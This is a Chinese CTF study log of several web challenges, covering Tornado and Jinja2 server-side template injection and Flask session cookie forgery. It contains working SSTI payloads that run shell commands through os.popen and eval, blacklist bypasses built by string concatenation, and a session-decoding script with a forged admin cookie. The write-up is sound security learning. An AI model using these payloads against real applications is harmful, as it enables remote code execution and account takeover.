第一周任务
[护网杯 2018]easy_tornado
/flag.txt
flag in /fllllllllllllag
/welcome.txt
render //模板注入
/hints.txt
md5(cookie_secret+md5(filename))
//根据模板注入得到的cookie_secret 加上flag所在目录的md5加密返回值一起进行MD5加密
render是python中的一个渲染函数,也就是一种模板,通过调用的参数不同,生成不同的网页 render配合Tornado使用
Tornado是一种 Web 服务器软件的开源版本。Tornado 和现在的主流 Web 服务器框架(包括大多数 Python 的框架)有着明显的区别:它是非阻塞式服务器,而且速度相当快。
将/fllllllllllllag传值给filename,得到url后面的提示get传参的变量
然后就是这段代码md5(cookie_secret+md5(filename)) 我们根据之前打开文件的url参数分析这个就是filehash的值 想获得flag只要我们在url中传入/fllllllllllllag文件和filehash 经过这段代码处理的值即可关键就在这cookie_secret这块 关键是获得cookie_secret
使用tornado的模板注入测试用例测试,都是显示ORZ
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-DVInSfiO-1615962783088)(C:\Users\JCY\AppData\Roaming\Typora\typora-user-images\image-20210123202232056.png)]
应该是过滤掉了运算符和一些符号,{{7}}
就可以正常有7的回显,{%7%}
的回显只有{},看了wp,发现是要看Tornado的官方文档,找到Tornado框架的附属文件handler.settings中存在cookie_secret,
在tornado模板中,存在一些可以访问的快速对象,这里用到的是handler.settings,handler 指向RequestHandler,而RequestHandler.settings又指向self.application.settings,所以handler.settings就指向RequestHandler.application.settings了,这里面就是我们的一些环境变量
通过模板注入方式我们可以构造
error?msg={{handler.settings}}
得到了'cookie_secret'
的值,再加上flag所在的目录的md5加密,再次进行md5加密
685a6dd8defadabf
3bf9f6cf685a6dd8defadabfb41a03a1
///fllllllllllllag进行md5加密后的字符串
88b4cef0-7d34-48e7-afa4-15dd9be8f7d83bf9f6cf685a6dd8defadabfb41a03a
5f9265216151a36bbddd563106a51ff3
file?filename=/fllllllllllllag&filehash=5f9265216151a36bbddd563106a51ff3
[HCTF 2018]admin
这是一个非预期解
看一下源码,发现了有注册和登录的界面,再加上源码中有被注释掉的提示就用admin为usename登录
[BJDCTF 2nd]fake google
jinja2模板用法
这里是引用
https://www.jianshu.com/p/f04dae701361
1.jinja2中存在三种常用的语法
1.{{ }}
2.{% %}
3.{# #} //注释
2.过滤器
变量可以通过过滤器进行修改,过滤器可以理解为jinja2中的内置函数和字符串处理函数,常用的:
safe:渲染时值不转义
capitialize: 把值的首字母转换成大写,其他子母转换为小写
lower: 把值转换成小写形式
upper: 把值转换成大写形式
title: 把值中每个单词的首字母都转换成大写
trim: 把值的首尾空格去掉
striptags: 渲染之前把值中所有的HTML标签都删掉
join: 拼接多个值为字符串
replace: 替换字符串的值
round: 默认对数字进行四舍五入,也可以用参数进行控制
int: 把值转换成整型
使用过滤器中需要在变量后面使用管道(|)分割,多个过滤器可以链式调用,前一个过滤器的输出会作为后一个过滤器的输入
{{ 'abc' | captialize }}
# Abc
{{ 'abc' | upper }}
# ABC
{{ 'hello world' | title }}
# Hello World
{{ "hello world" | replace('world','daxin') | upper }}
# HELLO DAXIN
3.for循环
迭代列表:
<ul>
{% for user in users %}
<li>{{ user.username|title }}</li>
{% endfor %}
</ul>
迭代字典
<dl>
{% for key, value in my_dict.iteritems() %}
<dt>{{ key }}</dt>
<dd>{{ value}}</dd>
{% endfor %}
</dl>
常见的魔术方法:
class
用于返回对象所属的类
base
以字符串的形式返回一个类所继承的类
bases
以元组的形式返回一个类所继承的类
mro
返回解析方法调用的顺序,按照子类到父类到父父类的顺序返回所有类
subclasses()
获取类的所有子类
init
所有自带带类都包含init方法,常用他当跳板来调用globals
globals
会以字典类型返回当前位置的全部模块,方法和全局变量,用于配合init使用
构造链思路
这里从零开始介绍如何去构造SSTI漏洞的payload
第一步
目的:使用__class__来获取内置类所对应的类
可以通过使用str,list,tuple,dict等来获取
第二步
目的:拿到object基类
用__bases__[0]或者__base__拿到基类
用__mro__[1]或者__mro__[-1]拿到基类
第三步
用__subclasses__()拿到子类列表
第四步
在子类列表中找到可以getshell的类
利用脚本跑索引
search='popen'
num=-1
for i in ().__class__.__bases__[0].__subclasses__():
num+=1
try:
if search in i.__init__.__globals__.keys():
print(i,num)
except:
pass
这里表示object基类的第134个子类名为os._wrap_close的这个类有popen方法
先调用它的__init__方法进行初始化类
Python 3.7.8
“”.class.bases[0].subclasses()[128].init
<function _wrap_close.init at 0x000001FCD0B21E58>
再调用__globals__可以获取到方法内以字典的形式返回的方法、属性等值
Python 3.7.8
“”.class.bases[0].subclasses()[128].init.globals
{‘name’: ‘os’…中间省略…<class ‘os.PathLike’>}
然后就可以调用其中的popen来执行命令
Python 3.7.8
“”.class.bases[0].subclasses()[128].init.globals’popen’.read()
'desktop-t6u2ptl\think\n
————————————————
jinja2模板注入时可用的payload模板,这里其实就是利用这个jinja2的模板执行了python的代码执行
{% for c in [].class.base.subclasses() %}
{% if c.name=='catch_warnings' %}
{{ c.init.globals['builtins'].eval("import('os').popen('ls /').read()")}}
{% endif %}{% endfor %}
另一种payload
{{().__class__.__bases__[0].__subclasses__()[169].__init__.__globals__.__builtins__['eval']("__import__('os').popen('whoami').read()")}}
{{''.__class__.__mro__[1].__subclasses__()[169].__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}
这里的`__globals__`属性是一种全局属性
globals:
对保存函数全局变量的字典的引用
定义函数的模块的全局命名空间。
__globals__
中会包括引入了的modules;同时每个python脚本都会自动加载 builtins
这个模块,而且这个模块包括了很多强大的built-in 函数,例如eval, exec, open等等,所以在模板注入中可以利用buitin中的eval
函数进行命令执行
做这题时可以利用这个__global__
属性,进行命令执行
先进行查询根目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}{% endif %}{% endfor %}
继续查询其中的flag目录
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /flag').read()")}}{% endif %}{% endfor %}
{{[ ].__class__.__base__.__subclasses__()}}
flask session伪造
随便注册成功一个账号之后页面会有一个change password 在这里面的源码中给出了github中的源码,我们可以下载下来进行代码审计
在config.py中给出了session伪造的密钥应该是ckj123
session功能:把账号的信息临时储存在我的电脑上(客户端)。只有在关闭浏览器才会销毁session信息。这是一种方便的机制。
解密脚本
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
.eJw90E2LwjAQBuC_sszZQ0zTi-Ch0lK6MJGy1TBzEe3W2tS4UBVrxP--WRc8vy_PfDxgsx-a8wFml-HaTGDTfcPsAR87mMHSoNIui7laOHQ4ssWbTgvJeSGw0h1KvKNbReRLpfNPhz6J2KAgfzyG3k3na6cdxijLiNNFR773S1NKkuWI1aFnU9y1D26aCbTZTdteYloHr4i0L2JtSLFtQz8TVK1kMHpOS0WSFNl1RyaL0XGHlubwnEB9Hvaby0_fnN4nsCPJf7WqFtq3I7nViL6WYSWFZm3J1zG-xiR3rhIRaIHt_MV1bts2b6np-YuT_-S0dSGAqYwUTOB6bobX22A6hecvQulpvQ.YFWl2A.iOfeXZOxphyASX8XGPzLzqPIp5Y
因为本地的vscode没有跑出来就放到kali里面跑出了解密的内容
{'_fresh': True, '_id': b'9c86a9e0f2c1f30426db413b3c22e7c484bf307ec4c9e4204ef6c93d7d0bc939d6cd118deb2731d14210696077c277295f8f86ca4a56d0dd48cf8b5baa92fb26', 'csrf_token': b'ff6ea9174781be13763d81ecc791f8f02e04cf42', 'image': b'zFRd', 'name': '1234', 'user_id': '11'}
如果我们要加密伪造生成伪造的session,还需要密钥:SECRET_KEY,看wp说这个一般在config文件里面
import os
class Config(object):
SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
SQLALCHEMY_TRACK_MODIFICATIONS = True
{'_fresh': True, '_id': b'9c86a9e0f2c1f30426db413b3c22e7c484bf307ec4c9e4204ef6c93d7d0bc939d6cd118deb2731d14210696077c277295f8f86ca4a56d0dd48cf8b5baa92fb26', 'csrf_token': b'ff6ea9174781be13763d81ecc791f8f02e04cf42', 'image': b'zFRd', 'name': 'admin', 'user_id': '11'}
再用从github上下的脚本将name改成admin再次加密,更改cookie中的session
session=.eJw90E2LwjAQBuC_sszZQ0zbi-Ch0lK6MJGy1TBzEbfWmtS4UBVrxP–WRc8vy_PfDxgsx_a8wFml-HaTmBjdjB7wMc3zGCpMVYuT7heOHQ4ssWbykrJRSmwVgYl3tGtIvJVrIpPhz6NWKMgfzyG3k0Va6ccJiiriLOFId_7pa4kyWrE-tCzLu_KBzfLBdr8pmwvMWuCV0bKl4nSFLPtQj8XVK9kMHrOqpgkxWTXhnSeoGODlubwnEBzHvaby0_fnt4nsCPJf7W6Ecp3I7nViL6RYaUY9dqSbxJ8jUnvXKci0AK7-Yszbtu1b6nt-YvT_-S0dSGA7c6ZE0zgem6H199gOoXnL8A5avw.YFWmpQ.E3zaq97NEpxdDXOMmsxS76rUIsg
最后抓包更改cookie中的session
[WesternCTF2018]shrine
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s //
return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
题目给出了源码,可以看到题目新建了一个名叫FLAG的config模块,题目中有两个路由,在shrine/路由里面有blackliist,这里应该可以ssti,先用{{7*‘7’}}测试成功,并且题目源码中def safe_jinja(s):
这里应该是jinja2模板注入
在shrine路径下 ssti注入能运行
回头看下源码
app.config[‘FLAG’] = os.environ.pop(‘FLAG’)
注册了一个名为FLAG的config,猜测这就是flag,
如果没有过滤可以直接{{config}}即可查看所有app.config内容 //或者{{self_dict}}
推测{{config}}可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
不过python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{{url_for.globals}}
使用url_for
返回所有的全局变量,current_app应该就是当前所在的app,就直接利用current_app访问config
/shrine/{{url_for.__globals__['current_app'].config}}
[GYCTF2020]FlaskApp
网站是一个用flask写的base64加解密应用,查看源码会发现还有一个解密的页面,在加密页面输入payload进行加密,加密结果在解密页面进行解密。输出解密后的payload并执行
这里可以利用一个debug=true,只要在解密时出现错误就会爆出部分源码,在源码中发现了app.py
先尝试最经典的{{7+7}},将这个字符串加密再解密就会得到14,说明可以进行ssti,先直接进行模板注入,flask模板的引擎就是jinja2,我们先尝试
在这里插入代码片
应该是有很多的函数被ban掉了,在刚开始注入测试时也能发现{{7*7}}是不能有正确回显的,可以用open函数先查看app.py中的源码
{% for c in [].__class__.__base__.subclasses__() %}{% if c.__name__=='catch_warnings' %}{{c.__init__.__globals__['__buitins__'].open('app.py','r').read()}}{% endif %}{% endfor %}
可以发现源码中定义了一个黑名单,ban掉了很多常用的函数看了wp发现这里可以用字符串拼接来进行绕过解题
def waf(str):
black_list = [ "flag","os","sysytem","popen","import","eval","chr","request", "subprocess","command","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}
Python os.listdir() 方法
用于返回指定的文件夹包含的文件或文件夹的名字的列表,用法:
os.listdir(path)
这里的path是具体的目录路径
或者一直拼接被ban掉的函数
贴了别的大佬的payload
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}